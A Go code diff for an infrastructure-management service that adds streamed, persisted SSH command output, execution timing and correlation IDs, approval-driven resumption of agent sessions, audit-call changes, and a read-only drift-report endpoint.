@@ -27,10 +28,16 @@ func LoadTypeTree(ctx context.Context, tx pgx.Tx) (*ontology.TypeTree, error) {
|
|||||||
for rows.Next() {
|
for rows.Next() {
|
||||||
var name string
|
var name string
|
||||||
var info ontology.TypeInfo
|
var info ontology.TypeInfo
|
||||||
if err := rows.Scan(&name, &info.Parent, &info.IsAbstract, &info.LifecycleID); err != nil {
|
// NULL monitoring_spec means the type declared nothing; '[]' means it
|
||||||
|
// declared "explicitly unmonitorable". Scanning through a pointer is
|
||||||
|
// what keeps those two apart — see ontology.TypeTree.Monitoring.
|
||||||
|
var monitoring *[]string
|
||||||
|
if err := rows.Scan(&name, &info.Parent, &info.IsAbstract, &info.LifecycleID,
|
||||||
|
&info.Layer, &monitoring); err != nil {
|
||||||
rows.Close()
|
rows.Close()
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
|
info.Monitoring = monitoring
|
||||||
t.Types[name] = info
|
t.Types[name] = info
|
||||||
}
|
}
|
||||||
rows.Close()
|
rows.Close()
|
||||||
|
|||||||
135
internal/execlog/execlog.go
Normal file
135
internal/execlog/execlog.go
Normal file
@@ -0,0 +1,135 @@
|
|||||||
|
// Package execlog persists incremental command output for an execution and
|
||||||
|
// announces it on the event stream.
|
||||||
|
//
|
||||||
|
// It exists as its own package because both SSH execution paths need it —
|
||||||
|
// internal/mcp (the agent's auto-run windows) and internal/httpapi (the
|
||||||
|
// post-approval actuator). Those two already carry near-identical copies of
|
||||||
|
// sshExec, and every bug found in this area so far has been a case of the two
|
||||||
|
// copies drifting apart; one shared sink is the cheap way not to repeat that.
|
||||||
|
package execlog
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"log/slog"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/db"
|
||||||
|
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||||
|
"github.com/dtoro/oikos/internal/observability"
|
||||||
|
"github.com/google/uuid"
|
||||||
|
)
|
||||||
|
|
||||||
|
// eventInterval throttles execution.output events. Chunks are persisted as
|
||||||
|
// they arrive, but a chatty command (apt, a long build) can produce hundreds
|
||||||
|
// per second and the SSE broker drops events for slow subscribers — flooding
|
||||||
|
// it would push out the signal.* and approval.* events that actually need to
|
||||||
|
// arrive. The event is only a "there is more output" ping; subscribers re-read
|
||||||
|
// the rows.
|
||||||
|
const eventInterval = time.Second
|
||||||
|
|
||||||
|
// Sink receives output chunks as they arrive from a remote command.
|
||||||
|
type Sink func(stream string, chunk []byte)
|
||||||
|
|
||||||
|
// New returns a Sink that writes chunks to execution_logs and emits a
|
||||||
|
// throttled execution.output event, plus a Flush to call when the command
|
||||||
|
// finishes.
|
||||||
|
//
|
||||||
|
// The returned Sink is safe for concurrent use: stdout and stderr are written
|
||||||
|
// from separate goroutines.
|
||||||
|
func New(ctx context.Context, pool *db.Pool, execID uuid.UUID, correlationID string) (Sink, func()) {
|
||||||
|
var (
|
||||||
|
mu sync.Mutex
|
||||||
|
seq int
|
||||||
|
lastEvent time.Time
|
||||||
|
pending bool
|
||||||
|
)
|
||||||
|
|
||||||
|
emit := func() {
|
||||||
|
if err := observability.Event(ctx, sqlcgen.New(pool), "execution.output", &execID,
|
||||||
|
"info", "actuator", correlationID, map[string]any{"execution_id": execID.String()}); err != nil {
|
||||||
|
slog.Debug("execlog: emit output event", "error", err, "execution_id", execID)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sink := func(stream string, chunk []byte) {
|
||||||
|
if len(chunk) == 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
mu.Lock()
|
||||||
|
seq++
|
||||||
|
n := seq
|
||||||
|
mu.Unlock()
|
||||||
|
|
||||||
|
// A failed log write must never fail the command: this is observability,
|
||||||
|
// and the authoritative output still lands in executions.result at the
|
||||||
|
// end. Log and carry on.
|
||||||
|
if _, err := pool.Exec(ctx,
|
||||||
|
`INSERT INTO execution_logs (execution_id, seq, stream, chunk)
|
||||||
|
VALUES ($1, $2, $3, $4)`,
|
||||||
|
execID, n, stream, string(chunk)); err != nil {
|
||||||
|
slog.Debug("execlog: persist chunk", "error", err, "execution_id", execID)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
mu.Lock()
|
||||||
|
due := time.Since(lastEvent) >= eventInterval
|
||||||
|
if due {
|
||||||
|
lastEvent = time.Now()
|
||||||
|
pending = false
|
||||||
|
} else {
|
||||||
|
pending = true
|
||||||
|
}
|
||||||
|
mu.Unlock()
|
||||||
|
|
||||||
|
if due {
|
||||||
|
emit()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Flush emits a final event when output arrived inside the throttle window,
|
||||||
|
// so the last few lines of a short command are not left unannounced.
|
||||||
|
flush := func() {
|
||||||
|
mu.Lock()
|
||||||
|
due := pending
|
||||||
|
pending = false
|
||||||
|
mu.Unlock()
|
||||||
|
if due {
|
||||||
|
emit()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return sink, flush
|
||||||
|
}
|
||||||
|
|
||||||
|
// Read returns an execution's persisted output in order.
|
||||||
|
func Read(ctx context.Context, pool *db.Pool, execID uuid.UUID, limit int) ([]Chunk, error) {
|
||||||
|
if limit <= 0 {
|
||||||
|
limit = 1000
|
||||||
|
}
|
||||||
|
rows, err := pool.Query(ctx,
|
||||||
|
`SELECT seq, stream, chunk, ts FROM execution_logs
|
||||||
|
WHERE execution_id = $1 ORDER BY seq LIMIT $2`, execID, limit)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
var out []Chunk
|
||||||
|
for rows.Next() {
|
||||||
|
var c Chunk
|
||||||
|
if err := rows.Scan(&c.Seq, &c.Stream, &c.Chunk, &c.TS); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
out = append(out, c)
|
||||||
|
}
|
||||||
|
return out, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
// Chunk is one persisted slice of command output.
|
||||||
|
type Chunk struct {
|
||||||
|
Seq int `json:"seq"`
|
||||||
|
Stream string `json:"stream"`
|
||||||
|
Chunk string `json:"chunk"`
|
||||||
|
TS time.Time `json:"ts"`
|
||||||
|
}
|
||||||
@@ -1,6 +1,7 @@
|
|||||||
package httpapi
|
package httpapi
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"bytes"
|
||||||
"context"
|
"context"
|
||||||
"encoding/base64"
|
"encoding/base64"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
@@ -9,10 +10,12 @@ import (
|
|||||||
"os"
|
"os"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/dtoro/oikos/internal/db"
|
"github.com/dtoro/oikos/internal/db"
|
||||||
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||||
|
"github.com/dtoro/oikos/internal/execlog"
|
||||||
"github.com/dtoro/oikos/internal/observability"
|
"github.com/dtoro/oikos/internal/observability"
|
||||||
"github.com/google/uuid"
|
"github.com/google/uuid"
|
||||||
"golang.org/x/crypto/ssh"
|
"golang.org/x/crypto/ssh"
|
||||||
@@ -71,7 +74,35 @@ func initSSH() {
|
|||||||
// report. Generous enough for a real apt/docker install; not infinite.
|
// report. Generous enough for a real apt/docker install; not infinite.
|
||||||
const sshExecTimeout = 10 * time.Minute
|
const sshExecTimeout = 10 * time.Minute
|
||||||
|
|
||||||
|
// streamWriter buffers everything it is given while forwarding each write to a
|
||||||
|
// sink. One on session.Stdout and another sharing the same buffer on
|
||||||
|
// session.Stderr reproduces CombinedOutput's interleaving in the order the
|
||||||
|
// remote end produced it. Mirrors the twin in internal/mcp/server.go.
|
||||||
|
type streamWriter struct {
|
||||||
|
mu *sync.Mutex
|
||||||
|
buf *bytes.Buffer
|
||||||
|
stream string
|
||||||
|
sink execlog.Sink
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *streamWriter) Write(p []byte) (int, error) {
|
||||||
|
w.mu.Lock()
|
||||||
|
w.buf.Write(p)
|
||||||
|
w.mu.Unlock()
|
||||||
|
if w.sink != nil {
|
||||||
|
// Copy: the ssh library reuses p once Write returns.
|
||||||
|
w.sink(w.stream, append([]byte(nil), p...))
|
||||||
|
}
|
||||||
|
return len(p), nil
|
||||||
|
}
|
||||||
|
|
||||||
func sshExec(ctx context.Context, host, user, command string) (string, error) {
|
func sshExec(ctx context.Context, host, user, command string) (string, error) {
|
||||||
|
return sshExecStream(ctx, host, user, command, nil)
|
||||||
|
}
|
||||||
|
|
||||||
|
// sshExecStream runs a command and reports its combined output, forwarding
|
||||||
|
// each chunk to sink as it arrives. A nil sink behaves exactly as before.
|
||||||
|
func sshExecStream(ctx context.Context, host, user, command string, sink execlog.Sink) (string, error) {
|
||||||
initSSH()
|
initSSH()
|
||||||
if len(_sshKey) == 0 {
|
if len(_sshKey) == 0 {
|
||||||
return "", fmt.Errorf("no SSH key available")
|
return "", fmt.Errorf("no SSH key available")
|
||||||
@@ -105,50 +136,62 @@ func sshExec(ctx context.Context, host, user, command string) (string, error) {
|
|||||||
}
|
}
|
||||||
defer session.Close()
|
defer session.Close()
|
||||||
|
|
||||||
type result struct {
|
var (
|
||||||
out []byte
|
mu sync.Mutex
|
||||||
err error
|
buf bytes.Buffer
|
||||||
|
)
|
||||||
|
session.Stdout = &streamWriter{mu: &mu, buf: &buf, stream: "stdout", sink: sink}
|
||||||
|
session.Stderr = &streamWriter{mu: &mu, buf: &buf, stream: "stderr", sink: sink}
|
||||||
|
|
||||||
|
collected := func() string {
|
||||||
|
mu.Lock()
|
||||||
|
defer mu.Unlock()
|
||||||
|
return strings.TrimSpace(buf.String())
|
||||||
}
|
}
|
||||||
done := make(chan result, 1)
|
|
||||||
|
done := make(chan error, 1)
|
||||||
go func() {
|
go func() {
|
||||||
// See internal/mcp/server.go's sshExec for why this recovers rather
|
// See internal/mcp/server.go's sshExec for why this recovers rather
|
||||||
// than letting a rare SSH-library panic crash the whole api process.
|
// than letting a rare SSH-library panic crash the whole api process.
|
||||||
defer func() {
|
defer func() {
|
||||||
if r := recover(); r != nil {
|
if r := recover(); r != nil {
|
||||||
done <- result{nil, fmt.Errorf("panic in ssh exec: %v", r)}
|
done <- fmt.Errorf("panic in ssh exec: %v", r)
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
out, err := session.CombinedOutput(command)
|
// Run rather than CombinedOutput so the assigned writers are used;
|
||||||
done <- result{out, err}
|
// Run returns only after both streams are fully drained.
|
||||||
|
done <- session.Run(command)
|
||||||
}()
|
}()
|
||||||
|
|
||||||
select {
|
select {
|
||||||
case r := <-done:
|
case err := <-done:
|
||||||
text := strings.TrimSpace(string(r.out))
|
text := collected()
|
||||||
// A non-zero exit MUST surface as an error. The previous guard only
|
// A non-zero exit MUST surface as an error. The previous guard only
|
||||||
// errored when there was no output, so a `pct create` that printed
|
// errored when there was no output, so a `pct create` that printed
|
||||||
// "CT 132 already exists" and exited non-zero was reported as
|
// "CT 132 already exists" and exited non-zero was reported as
|
||||||
// success — the execution was marked completed though nothing was
|
// success — the execution was marked completed though nothing was
|
||||||
// provisioned.
|
// provisioned.
|
||||||
if r.err != nil {
|
if err != nil {
|
||||||
if text != "" {
|
if text != "" {
|
||||||
return text, fmt.Errorf("%w: %s", r.err, text)
|
return text, fmt.Errorf("%w: %s", err, text)
|
||||||
}
|
}
|
||||||
return text, fmt.Errorf("exec: %w", r.err)
|
return text, fmt.Errorf("exec: %w", err)
|
||||||
}
|
}
|
||||||
return text, nil
|
return text, nil
|
||||||
case <-time.After(sshExecTimeout):
|
case <-time.After(sshExecTimeout):
|
||||||
// Close the session/client to hang up the remote side; the
|
// Close the session/client to hang up the remote side; the
|
||||||
// goroutine above will eventually exit once that unblocks
|
// goroutine above will eventually exit once that unblocks Run, but we
|
||||||
// CombinedOutput, but we don't wait for it — the caller needs an
|
// don't wait for it — the caller needs an answer now, not an
|
||||||
// answer now, not an indefinite hang.
|
// indefinite hang.
|
||||||
session.Close()
|
session.Close()
|
||||||
client.Close()
|
client.Close()
|
||||||
return "", fmt.Errorf("timed out after %s waiting for command to finish on %s", sshExecTimeout, host)
|
// Return what arrived before it hung, rather than "". A provisioning
|
||||||
|
// command that stalls halfway is precisely when its output matters.
|
||||||
|
return collected(), fmt.Errorf("timed out after %s waiting for command to finish on %s", sshExecTimeout, host)
|
||||||
case <-ctx.Done():
|
case <-ctx.Done():
|
||||||
session.Close()
|
session.Close()
|
||||||
client.Close()
|
client.Close()
|
||||||
return "", ctx.Err()
|
return collected(), ctx.Err()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -231,7 +274,16 @@ func emitExecutionEvent(ctx context.Context, pool *db.Pool, execID uuid.UUID, st
|
|||||||
if status == "failed" {
|
if status == "failed" {
|
||||||
severity = "warning"
|
severity = "warning"
|
||||||
}
|
}
|
||||||
_ = observability.Event(ctx, sqlcgen.New(pool), "execution."+status, &execID, severity, "actuator", "", detail)
|
// The correlation id was hardcoded to "", so execution events could not be
|
||||||
|
// tied back to the session that caused them — the one join you want when
|
||||||
|
// asking "what did this agent turn actually do?". It is already on the
|
||||||
|
// execution row; read it rather than threading it through eleven callers.
|
||||||
|
var correlationID string
|
||||||
|
if err := pool.QueryRow(ctx,
|
||||||
|
`SELECT correlation_id FROM executions WHERE entity_id = $1`, execID).Scan(&correlationID); err != nil {
|
||||||
|
correlationID = ""
|
||||||
|
}
|
||||||
|
_ = observability.Event(ctx, sqlcgen.New(pool), "execution."+status, &execID, severity, "actuator", correlationID, detail)
|
||||||
if status == "completed" || status == "failed" || status == "cancelled" {
|
if status == "completed" || status == "failed" || status == "cancelled" {
|
||||||
closePlanStepForExecution(ctx, pool, execID, status)
|
closePlanStepForExecution(ctx, pool, execID, status)
|
||||||
}
|
}
|
||||||
@@ -280,6 +332,29 @@ func executeApprovedAction(ctx context.Context, pool *db.Pool, execID uuid.UUID,
|
|||||||
action, params := actionStr[:idx], actionStr[idx+1:]
|
action, params := actionStr[:idx], actionStr[idx+1:]
|
||||||
|
|
||||||
startedAt := time.Now()
|
startedAt := time.Now()
|
||||||
|
// Persist started_at now, not at the end. It was captured here but only
|
||||||
|
// written in the terminal UPDATE, so a running execution reported
|
||||||
|
// started_at = NULL for its entire life — the UI could not show how long
|
||||||
|
// anything had been going, which is exactly when you want to know.
|
||||||
|
if _, err := pool.Exec(ctx,
|
||||||
|
`UPDATE executions SET status = 'running', started_at = $2 WHERE entity_id = $1`,
|
||||||
|
execID, startedAt); err != nil {
|
||||||
|
slog.Error("httpapi: mark execution running", "error", err, "execution_id", execID)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Stream output for the actions whose output an operator actually watches:
|
||||||
|
// a long apt upgrade, a pct create, an arbitrary approved `run`. The small
|
||||||
|
// internal lookups further down (listing template cache, pvesh nextid) stay
|
||||||
|
// unstreamed — they are plumbing, and logging them would bury the command
|
||||||
|
// the operator approved.
|
||||||
|
var correlationID string
|
||||||
|
if qerr := pool.QueryRow(ctx,
|
||||||
|
`SELECT correlation_id FROM executions WHERE entity_id = $1`, execID).Scan(&correlationID); qerr != nil {
|
||||||
|
correlationID = ""
|
||||||
|
}
|
||||||
|
sink, flushLogs := execlog.New(ctx, pool, execID, correlationID)
|
||||||
|
defer flushLogs()
|
||||||
|
|
||||||
var output, cmd string
|
var output, cmd string
|
||||||
|
|
||||||
switch action {
|
switch action {
|
||||||
@@ -295,30 +370,30 @@ func executeApprovedAction(ctx context.Context, pool *db.Pool, execID uuid.UUID,
|
|||||||
default:
|
default:
|
||||||
cmd = fmt.Sprintf("systemctl %s %s 2>&1", params, svc)
|
cmd = fmt.Sprintf("systemctl %s %s 2>&1", params, svc)
|
||||||
}
|
}
|
||||||
output, err = sshExec(ctx, host, user, cmd)
|
output, err = sshExecStream(ctx, host, user, cmd, sink)
|
||||||
|
|
||||||
case "apt_upgrade":
|
case "apt_upgrade":
|
||||||
svc := strings.TrimPrefix(targetSlug, "lxc:")
|
svc := strings.TrimPrefix(targetSlug, "lxc:")
|
||||||
cmd = fmt.Sprintf("apt update -qq 2>&1 >/dev/null && apt upgrade -y -qq 2>&1; echo '---'; systemctl is-active %s || true", svc)
|
cmd = fmt.Sprintf("apt update -qq 2>&1 >/dev/null && apt upgrade -y -qq 2>&1; echo '---'; systemctl is-active %s || true", svc)
|
||||||
output, err = sshExec(ctx, host, user, cmd)
|
output, err = sshExecStream(ctx, host, user, cmd, sink)
|
||||||
|
|
||||||
case "pct_create":
|
case "pct_create":
|
||||||
var cfg struct {
|
var cfg struct {
|
||||||
VMID int `json:"vmid"`
|
VMID int `json:"vmid"`
|
||||||
Hostname string `json:"hostname"`
|
Hostname string `json:"hostname"`
|
||||||
Cores int `json:"cores"`
|
Cores int `json:"cores"`
|
||||||
Memory int `json:"memory"`
|
Memory int `json:"memory"`
|
||||||
DiskGB int `json:"disk_gb"`
|
DiskGB int `json:"disk_gb"`
|
||||||
IP string `json:"ip"`
|
IP string `json:"ip"`
|
||||||
GW string `json:"gw"`
|
GW string `json:"gw"`
|
||||||
Bridge string `json:"bridge"` // e.g. vmbr0/vmbr1 — which bridge actually reaches the target subnet on this host varies per host, don't assume vmbr0
|
Bridge string `json:"bridge"` // e.g. vmbr0/vmbr1 — which bridge actually reaches the target subnet on this host varies per host, don't assume vmbr0
|
||||||
Storage string `json:"storage"`
|
Storage string `json:"storage"`
|
||||||
Template string `json:"template"`
|
Template string `json:"template"`
|
||||||
Privileged flexBool `json:"privileged"`
|
Privileged flexBool `json:"privileged"`
|
||||||
Nesting flexBool `json:"nesting"`
|
Nesting flexBool `json:"nesting"`
|
||||||
Mounts []string `json:"mounts"`
|
Mounts []string `json:"mounts"`
|
||||||
Nameserver string `json:"nameserver"`
|
Nameserver string `json:"nameserver"`
|
||||||
Searchdomain string `json:"searchdomain"`
|
Searchdomain string `json:"searchdomain"`
|
||||||
// No services/post_install here anymore — pct_create is atomic
|
// No services/post_install here anymore — pct_create is atomic
|
||||||
// (create + start + register only). Installing packages and
|
// (create + start + register only). Installing packages and
|
||||||
// running setup scripts is the agent's job via follow-up `run`
|
// running setup scripts is the agent's job via follow-up `run`
|
||||||
@@ -504,7 +579,7 @@ func executeApprovedAction(ctx context.Context, pool *db.Pool, execID uuid.UUID,
|
|||||||
}
|
}
|
||||||
|
|
||||||
slog.Info("httpapi: pct_create running", "vmid", cfg.VMID, "hostname", cfg.Hostname, "cmd", createCmd)
|
slog.Info("httpapi: pct_create running", "vmid", cfg.VMID, "hostname", cfg.Hostname, "cmd", createCmd)
|
||||||
output, err = sshExec(ctx, host, user, createCmd)
|
output, err = sshExecStream(ctx, host, user, createCmd, sink)
|
||||||
|
|
||||||
// pct_create is now DELIBERATELY ATOMIC: create + start + register,
|
// pct_create is now DELIBERATELY ATOMIC: create + start + register,
|
||||||
// nothing else. It used to also run apt installs and a post_install
|
// nothing else. It used to also run apt installs and a post_install
|
||||||
@@ -579,7 +654,7 @@ func executeApprovedAction(ctx context.Context, pool *db.Pool, execID uuid.UUID,
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
cmd = wrap(cfg.Command)
|
cmd = wrap(cfg.Command)
|
||||||
output, err = sshExec(ctx, host, user, cmd)
|
output, err = sshExecStream(ctx, host, user, cmd, sink)
|
||||||
|
|
||||||
default:
|
default:
|
||||||
slog.Error("httpapi: unknown gated action for approved execution", "action", action, "execution_id", execID)
|
slog.Error("httpapi: unknown gated action for approved execution", "action", action, "execution_id", execID)
|
||||||
|
|||||||
@@ -89,6 +89,7 @@ func (s *Server) CreateApprovalRule(ctx context.Context, req gen.CreateApprovalR
|
|||||||
actorType, actor := actorInfo(ctx)
|
actorType, actor := actorInfo(ctx)
|
||||||
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "create",
|
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "create",
|
||||||
&id, "POST", "/api/v1/policy/approval-rules", "",
|
&id, "POST", "/api/v1/policy/approval-rules", "",
|
||||||
|
nil,
|
||||||
map[string]any{"action": req.Body.Action, "risk_class": req.Body.RiskClass}); auditErr != nil {
|
map[string]any{"action": req.Body.Action, "risk_class": req.Body.RiskClass}); auditErr != nil {
|
||||||
return nil, auditErr
|
return nil, auditErr
|
||||||
}
|
}
|
||||||
@@ -148,6 +149,7 @@ func (s *Server) PatchApprovalRule(ctx context.Context, req gen.PatchApprovalRul
|
|||||||
actorType, actor := actorInfo(ctx)
|
actorType, actor := actorInfo(ctx)
|
||||||
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "patch",
|
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "patch",
|
||||||
&id, "PATCH", "/api/v1/policy/approval-rules/"+req.Id, "",
|
&id, "PATCH", "/api/v1/policy/approval-rules/"+req.Id, "",
|
||||||
|
nil,
|
||||||
map[string]any{"action": req.Body.Action}); auditErr != nil {
|
map[string]any{"action": req.Body.Action}); auditErr != nil {
|
||||||
return nil, auditErr
|
return nil, auditErr
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -154,6 +154,7 @@ func (s *Server) DecideApproval(ctx context.Context, req gen.DecideApprovalReque
|
|||||||
|
|
||||||
if auditErr := observability.Audit(ctx, q, actorType, actor, "decide",
|
if auditErr := observability.Audit(ctx, q, actorType, actor, "decide",
|
||||||
&id, "POST", "/api/v1/approvals/"+req.Id+"/decision", "",
|
&id, "POST", "/api/v1/approvals/"+req.Id+"/decision", "",
|
||||||
|
nil,
|
||||||
map[string]any{"decision": status}); auditErr != nil {
|
map[string]any{"decision": status}); auditErr != nil {
|
||||||
return nil, auditErr
|
return nil, auditErr
|
||||||
}
|
}
|
||||||
@@ -229,6 +230,33 @@ func (s *Server) DecideApproval(ctx context.Context, req gen.DecideApprovalReque
|
|||||||
_, _ = tx.Exec(ctx, `UPDATE executions SET status = $2, completed_at = now() WHERE approval_id = $1 AND status = 'pending_approval'`, id, status)
|
_, _ = tx.Exec(ctx, `UPDATE executions SET status = $2, completed_at = now() WHERE approval_id = $1 AND status = 'pending_approval'`, id, status)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// If this execution belongs to a nomos session, flip it out of
|
||||||
|
// awaiting_input — the counterpart to classifyAndGate flipping it IN
|
||||||
|
// the moment the approval was created (internal/mcp/server.go's
|
||||||
|
// markSessionAwaitingApproval). Runs for all three decisions (approve/
|
||||||
|
// deny/revoke): each one is an operator answer to "what do I do about
|
||||||
|
// this?", same as answerQuestion's unconditional resume-to-executing
|
||||||
|
// (cmd/nomos/store.go) for a session_questions answer.
|
||||||
|
var awaitingSessionID string
|
||||||
|
_ = tx.QueryRow(ctx, `
|
||||||
|
SELECT pe.session_id FROM nomos_plan_executions pe
|
||||||
|
JOIN executions ex ON ex.entity_id = pe.execution_id
|
||||||
|
WHERE ex.approval_id = $1
|
||||||
|
LIMIT 1`, id).Scan(&awaitingSessionID)
|
||||||
|
if awaitingSessionID != "" {
|
||||||
|
if rtag, rerr := tx.Exec(ctx, `
|
||||||
|
UPDATE agent_sessions SET status = 'executing', last_active_at = now()
|
||||||
|
WHERE id = $1 AND status = 'awaiting_input'`, awaitingSessionID); rerr == nil && rtag.RowsAffected() > 0 {
|
||||||
|
var taskEntID *uuid.UUID
|
||||||
|
var e uuid.UUID
|
||||||
|
if qerr := tx.QueryRow(ctx, `SELECT entity_id FROM agent_sessions WHERE id = $1`, awaitingSessionID).Scan(&e); qerr == nil && e != uuid.Nil {
|
||||||
|
taskEntID = &e
|
||||||
|
}
|
||||||
|
_ = observability.Event(ctx, q, "task.status", taskEntID, "info", "api", awaitingSessionID,
|
||||||
|
map[string]any{"status": "executing", "reason": "approval_decided", "decision": status})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
if err := tx.Commit(ctx); err != nil {
|
if err := tx.Commit(ctx); err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
|
|||||||
20
internal/httpapi/audit.go
Normal file
20
internal/httpapi/audit.go
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
package httpapi
|
||||||
|
|
||||||
|
import (
|
||||||
|
"net/http"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/audit"
|
||||||
|
)
|
||||||
|
|
||||||
|
// serveAuditDrift returns a read-only DB-side drift report: orphan check
|
||||||
|
// entities, checks on retired targets, probes stuck down/unknown, unmonitored
|
||||||
|
// declared types, and dangling edges. Companion to the knowledge-graph-audit
|
||||||
|
// skill. Live-infra discovery (pct/docker/certs) is a follow-up.
|
||||||
|
func (s *Server) serveAuditDrift(w http.ResponseWriter, req *http.Request) {
|
||||||
|
findings, summary := audit.Report(req.Context(), s.pool)
|
||||||
|
writeJSON(w, map[string]any{
|
||||||
|
"findings": findings,
|
||||||
|
"summary": summary,
|
||||||
|
"note": "read-only DB drift report; live-infra discovery (pct/docker/certs) is a follow-up",
|
||||||
|
})
|
||||||
|
}
|
||||||
@@ -81,6 +81,7 @@ func (s *Server) PatchAutonomySettings(ctx context.Context, req gen.PatchAutonom
|
|||||||
actorType, actor := actorInfo(ctx)
|
actorType, actor := actorInfo(ctx)
|
||||||
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "patch",
|
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "patch",
|
||||||
nil, "PATCH", "/api/v1/policy/autonomy", "",
|
nil, "PATCH", "/api/v1/policy/autonomy", "",
|
||||||
|
nil,
|
||||||
map[string]any{"keys": keysOfMap(*req.Body)}); auditErr != nil {
|
map[string]any{"keys": keysOfMap(*req.Body)}); auditErr != nil {
|
||||||
return nil, auditErr
|
return nil, auditErr
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -22,7 +22,7 @@ func (s *Server) ListChecks(ctx context.Context, req gen.ListChecksRequestObject
|
|||||||
SELECT cd.entity_id, e.slug, cd.kind,
|
SELECT cd.entity_id, e.slug, cd.kind,
|
||||||
COALESCE(te.slug, '') AS target_slug, cd.target_type,
|
COALESCE(te.slug, '') AS target_slug, cd.target_type,
|
||||||
cd.config, cd.interval_s, cd.timeout_s, cd.zone, cd.enabled,
|
cd.config, cd.interval_s, cd.timeout_s, cd.zone, cd.enabled,
|
||||||
e.version
|
e.version, cd.last_health, cd.last_run_at
|
||||||
FROM check_defs cd
|
FROM check_defs cd
|
||||||
JOIN entities e ON e.id = cd.entity_id
|
JOIN entities e ON e.id = cd.entity_id
|
||||||
LEFT JOIN entities te ON te.id = cd.target_id
|
LEFT JOIN entities te ON te.id = cd.target_id
|
||||||
@@ -43,10 +43,19 @@ func (s *Server) ListChecks(ctx context.Context, req gen.ListChecksRequestObject
|
|||||||
var c gen.Check
|
var c gen.Check
|
||||||
var targetSlug string
|
var targetSlug string
|
||||||
var configBytes []byte
|
var configBytes []byte
|
||||||
|
// last_health is what turns a check list from configuration into an
|
||||||
|
// explanation: an entity's health is the worst of these, so this is
|
||||||
|
// the field that says which probe is responsible.
|
||||||
|
var lastHealth *string
|
||||||
if err := rows.Scan(&c.Id, &c.Slug, &c.Kind, &targetSlug, &c.TargetType,
|
if err := rows.Scan(&c.Id, &c.Slug, &c.Kind, &targetSlug, &c.TargetType,
|
||||||
&configBytes, &c.IntervalS, &c.TimeoutS, &c.Zone, &c.Enabled, &c.Version); err != nil {
|
&configBytes, &c.IntervalS, &c.TimeoutS, &c.Zone, &c.Enabled, &c.Version,
|
||||||
|
&lastHealth, &c.LastRunAt); err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
|
if lastHealth != nil {
|
||||||
|
h := gen.CheckLastHealth(*lastHealth)
|
||||||
|
c.LastHealth = &h
|
||||||
|
}
|
||||||
if targetSlug != "" {
|
if targetSlug != "" {
|
||||||
c.Target = &targetSlug
|
c.Target = &targetSlug
|
||||||
}
|
}
|
||||||
@@ -173,6 +182,7 @@ func (s *Server) CreateCheck(ctx context.Context, req gen.CreateCheckRequestObje
|
|||||||
actorType, actor := actorInfo(ctx)
|
actorType, actor := actorInfo(ctx)
|
||||||
if auditErr := observability.Audit(ctx, q, actorType, actor, "create",
|
if auditErr := observability.Audit(ctx, q, actorType, actor, "create",
|
||||||
&id, "POST", "/api/v1/checks", "",
|
&id, "POST", "/api/v1/checks", "",
|
||||||
|
nil,
|
||||||
map[string]any{"kind": req.Body.Kind, "slug": slug}); auditErr != nil {
|
map[string]any{"kind": req.Body.Kind, "slug": slug}); auditErr != nil {
|
||||||
return nil, auditErr
|
return nil, auditErr
|
||||||
}
|
}
|
||||||
@@ -260,6 +270,7 @@ func (s *Server) PatchCheck(ctx context.Context, req gen.PatchCheckRequestObject
|
|||||||
actorType, actor := actorInfo(ctx)
|
actorType, actor := actorInfo(ctx)
|
||||||
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "patch",
|
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "patch",
|
||||||
&id, "PATCH", "/api/v1/checks/"+req.Id, "",
|
&id, "PATCH", "/api/v1/checks/"+req.Id, "",
|
||||||
|
nil,
|
||||||
map[string]any{"enabled": updated.Enabled}); auditErr != nil {
|
map[string]any{"enabled": updated.Enabled}); auditErr != nil {
|
||||||
return nil, auditErr
|
return nil, auditErr
|
||||||
}
|
}
|
||||||
@@ -285,6 +296,15 @@ func checkDefToGen(cd sqlcgen.CheckDef) gen.Check {
|
|||||||
